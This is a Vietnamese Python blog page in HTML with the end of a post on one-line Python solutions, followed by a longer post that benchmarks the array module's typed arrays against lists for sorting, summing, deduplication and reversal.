<span class="n">end</span> <span class="o">=</span> <span class="nb">len</span><span class="p">(</span><span class="n">a</span><span class="p">)</span> <span class="o">%</span> <span class="n">n</span> <span class="ow">and</span> <span class="nb">len</span><span class="p">(</span><span class="n">a</span><span class="p">)</span><span class="o">/</span><span class="n">n</span> <span class="o">+</span> <span class="mi">1</span> <span class="ow">or</span> <span class="nb">len</span><span class="p">(</span><span class="n">a</span><span class="p">)</span><span class="o">/</span><span class="n">n</span>
<span class="k">while</span> <span class="n">start</span> <span class="o"><</span> <span class="n">end</span><span class="p">:</span>
<span class="k">yield</span> <span class="n">a</span><span class="p">[</span><span class="n">start</span> <span class="o">*</span> <span class="n">n</span><span class="p">:</span> <span class="p">(</span><span class="n">start</span> <span class="o">+</span> <span class="mi">1</span><span class="p">)</span> <span class="o">*</span> <span class="n">n</span><span class="p">]</span>
<span class="n">start</span> <span class="o">+=</span> <span class="mi">1</span>
</pre></div>
<p>Chuẩn viết mã Python là không quá 80 ký tự trên một dòng. Python One-Liner viết hết các lệnh Python trên một dòng, làm cho các line dài hơn bình thường. Mã Python khó đọc và khó hiểu hơn do cách viết cô đọng, các biến được đặt tên ngắn. Với các bài toán không mang tính cơ bản, các bạn nên hạn chế viết theo cách này.</p>
<p>Các chương trình viết trên một dòng không có nghĩa là nhanh nhất. Thậm chí trong đa số các trường hợp để viết trên một dòng người ta phải chọn cách viết mất nhiều thời gian chạy hơn. Do vậy khi kích thước dữ liệu lớn, tốt hơn hết hãy lựa chọn cách viết tối ưu, và chấp nhận mã dài hơn.</p>
<p>Tôi hi vọng rằng các bạn sẽ thích thú với các ví dụ trên đây. Chắc chắn còn nhiều cách giải khác cho mỗi vấn đề mà tôi đã nêu ra. Nếu các bạn tìm thấy chúng xin hãy vui lòng comment để mọi người cùng biết. Điều sau cùng tôi muốn nhấn mạnh là <em>tuy việc tìm kiếm các lời giải một dòng cho mỗi vấn đề chỉ đơn giản là thú vui, ít mang tính ứng dụng, nhưng chúng thực sự sẽ thúc đẩy việc học hỏi và tìm kiếm kinh nghiệm của chúng ta.</em></p>
<p>Một số bài tập Python có thể triển khai trên một dòng:</p>
<ul class="simple">
<li>Tạo ma trận đơn vị kích thước bất kỳ</li>
<li>Triển khai sàng Sieve of Eratosthenes</li>
<li>Triển khai dãy số Fibonacci.</li>
<li>Tạo một list chứa tất cả các hoán vị của một list khác (các phần tử có thể bằng nhau).</li>
</ul>
</div>
"Efficient arrays" có nhanh hơn list?2010-01-16T16:20:00+07:002010-01-16T16:20:00+07:00Phạm Thị Minh Hoàitag:None,2010-01-16:2010/01/efficient-arrays-co-nhanh-hon-list.html<div class="section" id="gioi-thieu-ve-efficient-arrays">
<h2>1. Giới thiệu về "Efficient arrays"</h2>
<p>Kiểu dữ liệu list có thể chứa đựng bất kỳ cái gì thuộc bất kỳ cấu trúc nào. Khái niệm về list (hay danh sách) trong Python gần gũi với ý niệm về cái túi (a bag). Một bag có thể chứa bánh kẹo …</p></div><div class="section" id="gioi-thieu-ve-efficient-arrays">
<h2>1. Giới thiệu về "Efficient arrays"</h2>
<p>Kiểu dữ liệu list có thể chứa đựng bất kỳ cái gì thuộc bất kỳ cấu trúc nào. Khái niệm về list (hay danh sách) trong Python gần gũi với ý niệm về cái túi (a bag). Một bag có thể chứa bánh kẹo, hoa quả, quần áo... Điểm khác biệt là list thì có thứ tự, các phần tử được truy cập qua một index duy nhất.</p>
<p>Về điểm này list khác với khái niệm về array - hay mảng trong các ngôn ngữ thông thường khác. Chẳng hạn trong VB.NET một array là một danh sách có thứ tự các phần tử có cùng cấu trúc. Bạn luôn luôn phải chỉ rõ kiểu của phần tử trong mỗi array qua khai báo <strong>array of type</strong>.</p>
<p>Chính vì list có thể chứa bất kỳ phần tử thuộc bất kỳ cấu trúc nào mà một số thao tác phụ thuộc vào cấu trúc dữ liệu trên mỗi phần tử có thể chậm đi đáng kể. Hay một số thao tác thông thường có sẵn trong các ngôn ngữ khác đã không được triển khai trong Python do kiểu dữ liệu có thể khác nhau giữa các phần tử. Chẳng hạn việc sắp xếp một danh sách sẽ chậm đi do phải xác định chính xác kiểu dữ liệu của mỗi phần tử khi so sánh. Việc đọc một list từ file text hoặc từ một string sẽ không được triển khai bằng các hàm built-in.</p>
<p>Python hỗ trợ bạn tạo ra các list hiệu quả và chặt chẽ hơn bằng khái niệm <strong>"Efficient arrays"</strong> có trong thư viện array. Tuy nhiên module này chỉ hỗ trợ kiểu dữ liệu số và ký tự. Bạn không thể dùng các "Efficient arrays" cho các string hay boolean.</p>
<p>Ví dụ:</p>
<div class="highlight"><pre><span></span><span class="gp">>>> </span><span class="kn">from</span> <span class="nn">array</span> <span class="kn">import</span> <span class="n">array</span>
<span class="gp">>>> </span><span class="n">array</span><span class="p">(</span><span class="s1">'I'</span><span class="p">,</span> <span class="nb">range</span><span class="p">(</span><span class="mi">10</span><span class="p">))</span>
<span class="go">array('I', [0, 1, 2, 3, 4, 5, 6, 7, 8, 9])</span>
<span class="gp">>>> </span><span class="n">array</span><span class="o">.</span><span class="n">array</span><span class="p">(</span><span class="s1">'u'</span><span class="p">,</span> <span class="s2">"hello"</span><span class="p">)</span>
<span class="go">array('u', 'hello')</span>
</pre></div>
<p>Ví dụ 1 khai báo một <strong>mảng</strong> (hay array) các số nguyên <strong>unsiged int</strong> chứa các giá trị từ 0 đến 9. 'I' gọi là <strong>type code</strong> - một giá trị quy định kiểu của mỗi item trong mảng. Đoạn mã phía sau đó khai báo một array của các ký tự unicode. Dưới đây là danh sách các <strong>type code</strong> được hỗ trợ trong Python 3.1:</p>
<table border="1" class="docutils">
<colgroup>
<col width="15%" />
<col width="23%" />
<col width="28%" />
<col width="34%" />
</colgroup>
<thead valign="bottom">
<tr><th class="head">Type code</th>
<th class="head">C Type</th>
<th class="head">Python Type</th>
<th class="head">Minimum size in bytes</th>
</tr>
</thead>
<tbody valign="top">
<tr><td><tt class="docutils literal">b</tt></td>
<td>signed char</td>
<td>int</td>
<td>1</td>
</tr>
<tr><td><tt class="docutils literal">B</tt></td>
<td>unsigned char</td>
<td>int</td>
<td>1</td>
</tr>
<tr><td><tt class="docutils literal">u</tt></td>
<td>Py_UNICODE</td>
<td>Unicode character</td>
<td>2</td>
</tr>
<tr><td><tt class="docutils literal">h</tt></td>
<td>signed short</td>
<td>int</td>
<td>2</td>
</tr>
<tr><td><tt class="docutils literal">H</tt></td>
<td>unsigned short</td>
<td>int</td>
<td>2</td>
</tr>
<tr><td><tt class="docutils literal">i</tt></td>
<td>signed int</td>
<td>int</td>
<td>2</td>
</tr>
<tr><td><tt class="docutils literal">I</tt></td>
<td>unsigned int</td>
<td>int</td>
<td>2</td>
</tr>
<tr><td><tt class="docutils literal">l</tt></td>
<td>signed long</td>
<td>int</td>
<td>4</td>
</tr>
<tr><td><tt class="docutils literal">L</tt></td>
<td>unsigned long</td>
<td>int</td>
<td>4</td>
</tr>
<tr><td><tt class="docutils literal">f</tt></td>
<td>float</td>
<td>float</td>
<td>4</td>
</tr>
<tr><td><tt class="docutils literal">d</tt></td>
<td>double</td>
<td>float</td>
<td>8</td>
</tr>
</tbody>
</table>
<p>Như trong tài liệu Python viết. Kích thước thực sự của một số type code như 'i', 'I', 'l', 'L' phụ thuộc vào kiến trúc máy tính triển khai python (thông thường là sự khác biệt giữa kiến trúc 32 bit và 64 bit - xem thêm: <a class="reference external" href="http://en.wikipedia.org/wiki/Integer_%28computer_science%29">Integer - computer science</a>). Kiểu của mỗi phần tử trong mảng chính xác là kiểu của ngôn ngữ C tương ứng trong bảng, vì vậy kích thước của mảng luôn có thể xác định chính xác. Điều này khác với list. Khi nhận được một list rất khó để xác định chính xác kích thước bộ nhớ của nó. Module array có các hàm <strong>buffer_info()</strong> và <strong>itemsize</strong> cho phép thực hiện điều này. Hàm buffer_info() cho kết quả một tuple chứa địa chỉ bộ nhớ và số phần tử của mảng. Hàm itemsize cho biết kích thước của mỗi phần tử theo byte. Để tính kích thước bộ nhớ mà python cấp phát cho mảng dùng biểu thức: <strong>x.buffer_info()[1] * x.itemsize</strong>. Ví dụ:</p>
<div class="highlight"><pre><span></span><span class="gp">>>> </span><span class="n">x</span> <span class="o">=</span> <span class="n">array</span><span class="o">.</span><span class="n">array</span><span class="p">(</span><span class="s1">'u'</span><span class="p">,</span> <span class="s2">"python"</span><span class="p">)</span>
<span class="gp">>>> </span><span class="n">x</span><span class="o">.</span><span class="n">itemsize</span>
<span class="go">2</span>
<span class="gp">>>> </span><span class="n">x</span><span class="o">.</span><span class="n">buffer_info</span><span class="p">()</span>
<span class="go">(29756264, 6)</span>
<span class="gp">>>> </span><span class="n">x</span><span class="o">.</span><span class="n">buffer_info</span><span class="p">()[</span><span class="mi">1</span><span class="p">]</span><span class="o">*</span><span class="n">x</span><span class="o">.</span><span class="n">itemsize</span>
<span class="go">12</span>
</pre></div>
<p>Các mảng quy định rõ kiểu giá trị nó chứa, vì vậy không thể lưu các giá trị vượt phạm vi cho phép hoặc các giá trị không đúng kiểu. Python báo lỗi khi xảy ra sự kiện này:</p>
<div class="highlight"><pre><span></span><span class="gp">>>> </span><span class="n">array</span><span class="o">.</span><span class="n">array</span><span class="p">(</span><span class="s2">"L"</span><span class="p">,</span> <span class="p">[</span><span class="mi">2</span><span class="o">**</span><span class="mi">32</span><span class="p">])</span>
<span class="gt">Traceback (most recent call last):</span>
File <span class="nb">"<interactive input>"</span>, line <span class="m">1</span>, in <span class="n"><module></span>
<span class="gr">OverflowError</span>: <span class="n">python int too large to convert to C unsigned long</span>
</pre></div>
<div class="highlight"><pre><span></span><span class="gp">>>> </span><span class="n">array</span><span class="p">(</span><span class="s1">'I'</span><span class="p">,</span> <span class="p">[])</span>
<span class="go">array('I')</span>
<span class="gp">>>> </span><span class="n">array</span><span class="p">(</span><span class="s1">'I'</span><span class="p">,</span> <span class="p">[</span><span class="kc">None</span><span class="p">])</span>
<span class="gt">Traceback (most recent call last):</span>
File <span class="nb">"<interactive input>"</span>, line <span class="m">1</span>, in <span class="n"><module></span>
<span class="gr">TypeError</span>: <span class="n">an integer is required</span>
</pre></div>
<p>Trong python 3.* type code 'c' không còn được sử dụng do từ Python 3.0 trở đi kiểu dữ liệu string luôn luôn là unicode.</p>
<div class="highlight"><pre><span></span><span class="gp">>>> </span><span class="n">array</span><span class="p">(</span><span class="s1">'c'</span><span class="p">,</span> <span class="p">[</span><span class="s1">'a'</span><span class="p">])</span>
<span class="gt">Traceback (most recent call last):</span>
File <span class="nb">"<interactive input>"</span>, line <span class="m">1</span>, in <span class="n"><module></span>
<span class="gr">ValueError</span>: <span class="n">bad typecode (must be b, B, u, h, H, i, I, l, L, f or d)</span>
</pre></div>
<p>Type code 'u' cũng sẽ khác nhau về kích thước trên các hệ điều hành khác nhau, khi chúng triển khai UCS2 (2 byte) hoặc UCS4 (4 byte). Để biết máy bạn dùng UCS mấy gõ lệnh sau:</p>
<div class="highlight"><pre><span></span><span class="gp">>>> </span><span class="kn">import</span> <span class="nn">sys</span>
<span class="gp">>>> </span><span class="n">sys</span><span class="o">.</span><span class="n">maxunicode</span>
<span class="go">65535</span>
</pre></div>
<p>Đó là UCS2, trên hệ thống mà Python được compile với UCS4 kết quả phải lớn hơn.</p>
<p>Module <tt class="docutils literal">array</tt> có hầu hết các phương thức tương tự <tt class="docutils literal">list</tt>:</p>
<div class="highlight"><pre><span></span><span class="gp">>>> </span><span class="nb">dir</span><span class="p">(</span><span class="n">array</span><span class="p">(</span><span class="s1">'d'</span><span class="p">,</span> <span class="p">[]))</span>
<span class="go">['__add__', '__class__', '__contains__', '__copy__', '__deepcopy__', '__delattr__', '__delitem__',</span>
<span class="go">'__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__gt__', '__hash__',</span>
<span class="go">'__iadd__', '__imul__', '__init__', '__iter__', '__le__', '__len__', '__lt__', '__mul__', '__ne__',</span>
<span class="go">'__new__', '__reduce__', '__reduce_ex__', '__repr__', '__rmul__', '__setattr__', '__setitem__',</span>
<span class="go">'__sizeof__', '__str__', '__subclasshook__', 'append', 'buffer_info', 'byteswap', 'count', 'extend',</span>
<span class="go">'fromfile', 'fromlist', 'fromstring', 'fromunicode', 'index', 'insert', 'itemsize', 'pop', 'remove',</span>
<span class="go">'reverse', 'tofile', 'tolist', 'tostring', 'tounicode', 'typecode']</span>
</pre></div>
<p>Trong danh sách trên ta thấy <tt class="docutils literal">array</tt> <em>không có</em> phương thức <strong>sort</strong> giống như <tt class="docutils literal">list</tt>. Để sắp xếp các array, bạn có thể dùng hàm <strong>sorted</strong>. Hàm <strong>sorted</strong> là hàm built-in, khác với <strong>list.sort</strong> nó tạo ra list mới và không thay đổi list gốc.</p>
<div class="highlight"><pre><span></span><span class="gp">>>> </span><span class="kn">from</span> <span class="nn">array</span> <span class="kn">import</span> <span class="n">array</span>
<span class="gp">>>> </span><span class="n">example</span> <span class="o">=</span> <span class="n">array</span><span class="p">(</span><span class="s1">'d'</span><span class="p">,</span> <span class="p">[</span><span class="n">math</span><span class="o">.</span><span class="n">pi</span><span class="p">,</span> <span class="n">math</span><span class="o">.</span><span class="n">e</span><span class="p">,</span> <span class="n">math</span><span class="o">.</span><span class="n">log</span><span class="p">(</span><span class="mi">10</span><span class="p">)])</span>
<span class="gp">>>> </span><span class="nb">sorted</span><span class="p">(</span><span class="n">example</span><span class="p">)</span>
<span class="go">[2.302585092994046, 2.718281828459045, 3.141592653589793]</span>
<span class="gp">>>> </span><span class="nb">sorted</span><span class="p">(</span><span class="n">example</span><span class="p">,</span> <span class="n">reverse</span> <span class="o">=</span> <span class="kc">True</span><span class="p">)</span>
<span class="go">[3.141592653589793, 2.718281828459045, 2.302585092994046]</span>
</pre></div>
</div>
<div class="section" id="efficient-arrays-nhanh-hon-list-nhu-nao">
<h2>2. "Efficient arrays" nhanh hơn list như nào?</h2>
<p>Trong phần này chúng ta sẽ thực hiện một số kiểm tra performance giữa array và list trên một số thao tác điển hình. Chỉ một số thao tác được kiểm tra, kết quả thời gian có thể khác nhau với các phiên bản Python, hay các cấu hình máy khác. Tuy nhiên tôi cố gắng đặt các kiểm tra trong cùng một tập các điều kiện thí nghiệm, và chỉ xem xét tương quan giữa các con số nhằm rút ra một kết luận nào đó.</p>
<p>Đầu tiên là sắp xếp - thao tác cơ bản đặc trưng cho một list.</p>
<div class="highlight"><pre><span></span><span class="gp">>>> </span><span class="kn">from</span> <span class="nn">timeit</span> <span class="kn">import</span> <span class="n">Timer</span>
<span class="gp">>>> </span><span class="n">Timer</span><span class="p">(</span><span class="s2">"a.sort()"</span><span class="p">,</span> <span class="s2">"import random;a=list(range(10**4)); </span><span class="se">\</span>
<span class="gp">... </span><span class="s2">random.shuffle(a)"</span><span class="p">)</span><span class="o">.</span><span class="n">timeit</span><span class="p">(</span><span class="mi">100</span><span class="p">)</span>
<span class="go">0.05681145858943637</span>
<span class="gp">>>> </span><span class="n">Timer</span><span class="p">(</span><span class="s2">"sorted(a)"</span><span class="p">,</span> <span class="s2">"import random;a=list(range(10**4)); </span><span class="se">\</span>
<span class="gp">... </span><span class="s2">random.shuffle(a)"</span><span class="p">)</span><span class="o">.</span><span class="n">timeit</span><span class="p">(</span><span class="mi">100</span><span class="p">)</span>
<span class="go">0.7554756694498792</span>
<span class="gp">>>> </span><span class="n">Timer</span><span class="p">(</span><span class="s2">"sorted(a)"</span><span class="p">,</span> <span class="s2">"import random,array;a=array.array('L', range(10**4));</span><span class="se">\</span>
<span class="gp">... </span><span class="s2">random.shuffle(a)"</span><span class="p">)</span><span class="o">.</span><span class="n">timeit</span><span class="p">(</span><span class="mi">100</span><span class="p">)</span>
<span class="go">0.8100354453472391</span>
</pre></div>
<p>Ví dụ trên so sánh thời gian thực hiện của list.sort, sorted trên list, và sorted trên array khi sắp xếp mảng số nguyên 32 bit có 10 ngàn item. Chúng ta thấy thậm chí việc sắp xếp trên mảng bằng hàm sorted chậm hơn nhiều so với trên list.sort trong trường hợp này. Test này được thực hiện trên Python 3.1 với máy Pentium Dual Core 1.7MHz. Trên các phiên bản Python 2.x bạn chỉ cần viết <strong>a = range(10**4)</strong> thay vì <strong>a = list(range(10**4))</strong> Tiếp tục khảo sát với số phần tử đến 100 ngàn, 1 triệu, 10 triệu phần tử:</p>
<div class="highlight"><pre><span></span><span class="gp">>>> </span><span class="n">Timer</span><span class="p">(</span><span class="s2">"a.sort()"</span><span class="p">,</span> <span class="s2">"import random;a=range(10**5);random.shuffle(a)"</span><span class="p">)</span><span class="o">.</span><span class="n">timeit</span><span class="p">(</span><span class="mi">100</span><span class="p">)</span>
<span class="go">1.0628812891800408</span>
<span class="gp">>>> </span><span class="n">Timer</span><span class="p">(</span><span class="s2">"sorted(a)"</span><span class="p">,</span> <span class="s2">"import random;a=range(10**5);random.shuffle(a)"</span><span class="p">)</span><span class="o">.</span><span class="n">timeit</span><span class="p">(</span><span class="mi">100</span><span class="p">)</span>
<span class="go">13.890136599318794</span>
<span class="gp">>>> </span><span class="n">Timer</span><span class="p">(</span><span class="s2">"sorted(a)"</span><span class="p">,</span> <span class="s2">"import random,array;a=array.array('L', range(10**5));</span><span class="se">\</span>
<span class="gp">... </span><span class="s2">random.shuffle(a)"</span><span class="p">)</span><span class="o">.</span><span class="n">timeit</span><span class="p">(</span><span class="mi">100</span><span class="p">)</span>
<span class="go">14.082001048258462</span>
</pre></div>
<div class="highlight"><pre><span></span><span class="gp">>>> </span><span class="n">Timer</span><span class="p">(</span><span class="s2">"a.sort()"</span><span class="p">,</span> <span class="s2">"import random;a=range(10**6);random.shuffle(a)"</span><span class="p">)</span><span class="o">.</span><span class="n">timeit</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
<span class="go">1.8611051722955381</span>
<span class="gp">>>> </span><span class="n">Timer</span><span class="p">(</span><span class="s2">"sorted(a)"</span><span class="p">,</span> <span class="s2">"import random;a=range(10**6);random.shuffle(a)"</span><span class="p">)</span><span class="o">.</span><span class="n">timeit</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
<span class="go">1.9412927927796773</span>
<span class="gp">>>> </span><span class="n">Timer</span><span class="p">(</span><span class="s2">"sorted(a)"</span><span class="p">,</span> <span class="s2">"import random,array;a=array.array('L', range(10**6));</span><span class="se">\</span>
<span class="gp">... </span><span class="s2">random.shuffle(a)"</span><span class="p">)</span><span class="o">.</span><span class="n">timeit</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
<span class="go">2.2266062190747107</span>
</pre></div>
<div class="highlight"><pre><span></span><span class="gp">>>> </span><span class="n">Timer</span><span class="p">(</span><span class="s2">"a.sort()"</span><span class="p">,</span> <span class="s2">"import random;a=range(10**7);random.shuffle(a)"</span><span class="p">)</span><span class="o">.</span><span class="n">timeit</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
<span class="go">25.894550537010218</span>
<span class="gp">>>> </span><span class="n">Timer</span><span class="p">(</span><span class="s2">"sorted(a)"</span><span class="p">,</span> <span class="s2">"import random;a=range(10**7);random.shuffle(a)"</span><span class="p">)</span><span class="o">.</span><span class="n">timeit</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
<span class="go">26.986440155994387</span>
<span class="gp">>>> </span><span class="n">Timer</span><span class="p">(</span><span class="s2">"sorted(a)"</span><span class="p">,</span> <span class="s2">"import random,array;a=array.array('L', range(10**7));</span><span class="se">\</span>
<span class="gp">... </span><span class="s2">random.shuffle(a)"</span><span class="p">)</span><span class="o">.</span><span class="n">timeit</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
<span class="go">30.602503383151088</span>
</pre></div>
<p>Hàm <strong>sort</strong> của list là <strong>in-place</strong> vì vậy nó nhanh hơn <strong>sorted</strong> do không phải thực hiện các thao tác cấp phát bộ nhớ để tạo list mới như <strong>sorted</strong>. Nó nhanh hơn đáng kể khi số phần tử là nhỏ. Trong test trên đây là khoảng 13 lần với 10 ngàn item và 100 ngàn item. Số các thao tác cấp phát bộ nhớ tăng tuyến tính theo số phần tử, trong khi số các phép so sánh tăng theo n*logn (hoặc nếu tốt hơn n*loglogn). Vì vậy khi tăng số lượng các item thì số các phép so sánh tăng nhanh hơn số các thao tác cấp phát bộ nhớ. Ở trên 1 triệu phần tử các phép toán so sánh chiếm đa số thời gian xử lý. Ta có thể thấy thời gian thực thi ở các hàm là tương đương nhau. Trên mức 10 triệu phần tử sự khác biệt không còn đáng kể nữa.</p>
<p>Hàm <strong>sorted</strong> thực thi trên array thường sẽ chậm hơn trên list trong sai khác thời gian tương đối nhỏ. Nguyên nhân có thể được giải thích là do sorted không tạo ra một array mà luôn luôn tạo ra một list. Rõ ràng <strong>sorted</strong> trên một array nhưng trả lại list sẽ chậm hơn khi sorted trên list trả lại list. Các Efficient arrays muốn nhanh hơn list thực sự cần một sort của riêng chúng.</p>
<p>Chuyển qua các thao tác khác với list. Chẳng hạn với hàm sum một list các số nguyên</p>
<div class="highlight"><pre><span></span><span class="gp">>>> </span><span class="n">Timer</span><span class="p">(</span><span class="s2">"sum(x)"</span><span class="p">,</span> <span class="s2">"x=range(1000)"</span><span class="p">)</span><span class="o">.</span><span class="n">timeit</span><span class="p">(</span><span class="mi">10000</span><span class="p">)</span>
<span class="go">0.60629310370359235</span>
<span class="gp">>>> </span><span class="n">Timer</span><span class="p">(</span><span class="s2">"sum(x)"</span><span class="p">,</span> <span class="s2">"import array; x = array.array('d', range(1000))"</span><span class="p">)</span><span class="o">.</span><span class="n">timeit</span><span class="p">(</span><span class="mi">10000</span><span class="p">)</span>
<span class="go">0.74805731663627739</span>
</pre></div>
<div class="highlight"><pre><span></span><span class="gp">>>> </span><span class="n">Timer</span><span class="p">(</span><span class="s2">"sum(x)"</span><span class="p">,</span> <span class="s2">"x=range(10000)"</span><span class="p">)</span><span class="o">.</span><span class="n">timeit</span><span class="p">(</span><span class="mi">1000</span><span class="p">)</span>
<span class="go">0.60768722812650822</span>
<span class="gp">>>> </span><span class="n">Timer</span><span class="p">(</span><span class="s2">"sum(x)"</span><span class="p">,</span> <span class="s2">"import array; x = array.array('d', range(10000))"</span><span class="p">)</span><span class="o">.</span><span class="n">timeit</span><span class="p">(</span><span class="mi">1000</span><span class="p">)</span>
<span class="go">0.75720026176844613</span>
</pre></div>
<div class="highlight"><pre><span></span><span class="gp">>>> </span><span class="n">Timer</span><span class="p">(</span><span class="s2">"sum(x)"</span><span class="p">,</span> <span class="s2">"x=range(10**5)"</span><span class="p">)</span><span class="o">.</span><span class="n">timeit</span><span class="p">(</span><span class="mi">100</span><span class="p">)</span>
<span class="go">1.1360591999478515</span>
<span class="gp">>>> </span><span class="n">Timer</span><span class="p">(</span><span class="s2">"sum(x)"</span><span class="p">,</span> <span class="s2">"import array; x = array.array('d', range(10**5))"</span><span class="p">)</span><span class="o">.</span><span class="n">timeit</span><span class="p">(</span><span class="mi">100</span><span class="p">)</span>
<span class="go">0.73434230670147826</span>
</pre></div>
<div class="highlight"><pre><span></span><span class="gp">>>> </span><span class="n">Timer</span><span class="p">(</span><span class="s2">"sum(x)"</span><span class="p">,</span> <span class="s2">"x=range(10**6)"</span><span class="p">)</span><span class="o">.</span><span class="n">timeit</span><span class="p">(</span><span class="mi">10</span><span class="p">)</span>
<span class="go">1.9724225132735</span>
<span class="gp">>>> </span><span class="n">Timer</span><span class="p">(</span><span class="s2">"sum(x)"</span><span class="p">,</span> <span class="s2">"import array; x = array.array('d', range(10**6))"</span><span class="p">)</span><span class="o">.</span><span class="n">timeit</span><span class="p">(</span><span class="mi">10</span><span class="p">)</span>
<span class="go">0.73678350503251977</span>
</pre></div>
<div class="highlight"><pre><span></span><span class="gp">>>> </span><span class="n">Timer</span><span class="p">(</span><span class="s2">"sum(x)"</span><span class="p">,</span> <span class="s2">"x=range(10**7)"</span><span class="p">)</span><span class="o">.</span><span class="n">timeit</span><span class="p">(</span><span class="mi">10</span><span class="p">)</span>
<span class="go">20.701364808722474</span>
<span class="gp">>>> </span><span class="n">Timer</span><span class="p">(</span><span class="s2">"sum(x)"</span><span class="p">,</span> <span class="s2">"import array; x = array.array('d', range(10**7))"</span><span class="p">)</span><span class="o">.</span><span class="n">timeit</span><span class="p">(</span><span class="mi">10</span><span class="p">)</span>
<span class="go">7.399070781130149</span>
</pre></div>
<p>Hàm sum với array chậm hơn khi số phần tử nhỏ và càng ngày càng nhanh hơn khi số phần tử lớn hơn. Test sau đây cũng chỉ ra join các string là nhanh hơn hàm tounicode của array.</p>
<div class="highlight"><pre><span></span><span class="gp">>>> </span><span class="n">array</span><span class="p">(</span><span class="s1">'u'</span><span class="p">,</span> <span class="nb">map</span><span class="p">(</span><span class="nb">chr</span><span class="p">,</span> <span class="nb">range</span><span class="p">(</span><span class="mi">65</span><span class="p">,</span> <span class="mi">90</span><span class="p">)))</span><span class="o">.</span><span class="n">tounicode</span><span class="p">()</span>
<span class="go">'ABCDEFGHIJKLMNOPQRSTUVWXY'</span>
<span class="gp">>>> </span><span class="s2">""</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="nb">map</span><span class="p">(</span><span class="nb">chr</span><span class="p">,</span> <span class="nb">range</span><span class="p">(</span><span class="mi">65</span><span class="p">,</span> <span class="mi">90</span><span class="p">)))</span>
<span class="go">'ABCDEFGHIJKLMNOPQRSTUVWXY'</span>
<span class="gp">>>> </span><span class="n">Timer</span><span class="p">(</span><span class="s2">"array.array('u', map(chr, range(65, 90))).tounicode()"</span><span class="p">,</span> <span class="s2">"import array"</span><span class="p">)</span><span class="o">.</span><span class="n">timeit</span><span class="p">()</span>
<span class="go">14.721977927611988</span>
<span class="gp">>>> </span><span class="n">Timer</span><span class="p">(</span><span class="s2">"''.join(map(chr, range(65, 90)))"</span><span class="p">,</span> <span class="s2">""</span><span class="p">)</span><span class="o">.</span><span class="n">timeit</span><span class="p">()</span>
<span class="go">8.788942485645748</span>
</pre></div>
<p>Để loại bỏ các phần tử trùng nhau của một list từ python 2.4 trở đi bạn có thể dùng lệnh <strong>L = list(set(L))</strong>. Ví dụ:</p>
<div class="highlight"><pre><span></span><span class="gp">>>> </span><span class="nb">list</span><span class="p">(</span><span class="nb">set</span><span class="p">([</span><span class="mi">5</span><span class="p">,</span><span class="mi">5</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">3</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">3</span><span class="p">]))</span>
<span class="go">[1, 2, 3, 5]</span>
<span class="gp">>>> </span><span class="n">array</span><span class="p">(</span><span class="s1">'L'</span><span class="p">,</span> <span class="nb">set</span><span class="p">([</span><span class="mi">1</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">3</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">3</span><span class="p">]))</span>
<span class="go">array('L', [1, 2, 3])</span>
</pre></div>
<p>Ví dụ sau so sánh thời gian loại trùng của array và list sử dụng cú pháp này:</p>
<div class="highlight"><pre><span></span><span class="gp">>>> </span><span class="n">Timer</span><span class="p">(</span><span class="s2">"array('L', set(x))"</span><span class="p">,</span> <span class="s2">"from array import array; </span><span class="se">\</span>
<span class="gp">... </span><span class="s2"> x = array('L', range(10**5))"</span><span class="p">)</span><span class="o">.</span><span class="n">timeit</span><span class="p">(</span><span class="mi">10</span><span class="p">)</span>
<span class="go">0.3053085107321749</span>
<span class="gp">>>> </span><span class="n">Timer</span><span class="p">(</span><span class="s2">"list(set(x))"</span><span class="p">,</span> <span class="s2">"x = range(10**5)"</span><span class="p">)</span><span class="o">.</span><span class="n">timeit</span><span class="p">(</span><span class="mi">10</span><span class="p">)</span>
<span class="go">0.25598173543039593</span>
</pre></div>
<div class="highlight"><pre><span></span><span class="gp">>>> </span><span class="n">Timer</span><span class="p">(</span><span class="s2">"array('L', set(x))"</span><span class="p">,</span> <span class="s2">"from array import array; </span><span class="se">\</span>
<span class="gp">... </span><span class="s2">x = array('L', range(10**6))"</span><span class="p">)</span><span class="o">.</span><span class="n">timeit</span><span class="p">(</span><span class="mi">10</span><span class="p">)</span>
<span class="go">3.901955860623275</span>
<span class="gp">>>> </span><span class="n">Timer</span><span class="p">(</span><span class="s2">"list(set(x))"</span><span class="p">,</span> <span class="s2">"x = range(10**6)"</span><span class="p">)</span><span class="o">.</span><span class="n">timeit</span><span class="p">(</span><span class="mi">10</span><span class="p">)</span>
<span class="go">2.275834090902208</span>
</pre></div>
<div class="highlight"><pre><span></span><span class="gp">>>> </span><span class="n">Timer</span><span class="p">(</span><span class="s2">"array('L', set(x))"</span><span class="p">,</span> <span class="s2">"from array import array; </span><span class="se">\</span>
<span class="gp">... </span><span class="s2">x = array('L', range(10**7))"</span><span class="p">)</span><span class="o">.</span><span class="n">timeit</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
<span class="go">3.823739795026995</span>
<span class="gp">>>> </span><span class="n">Timer</span><span class="p">(</span><span class="s2">"list(set(x))"</span><span class="p">,</span> <span class="s2">"x = range(10**7)"</span><span class="p">)</span><span class="o">.</span><span class="n">timeit</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
<span class="go">2.216846163641094</span>
</pre></div>
<p>Như vậy sử dụng array sẽ không hiệu quả bằng list trong tình huống này.</p>
<p>Việc đảo ngược một list cũng luôn luôn nhanh hơn đảo ngược một array. Ví dụ:</p>
<div class="highlight"><pre><span></span><span class="gp">>>> </span><span class="n">Timer</span><span class="p">(</span><span class="s2">"x.reverse()"</span><span class="p">,</span> <span class="s2">"x = range(10**7)"</span><span class="p">)</span><span class="o">.</span><span class="n">timeit</span><span class="p">(</span><span class="mi">10</span><span class="p">)</span>
<span class="go">0.30343171366575916</span>
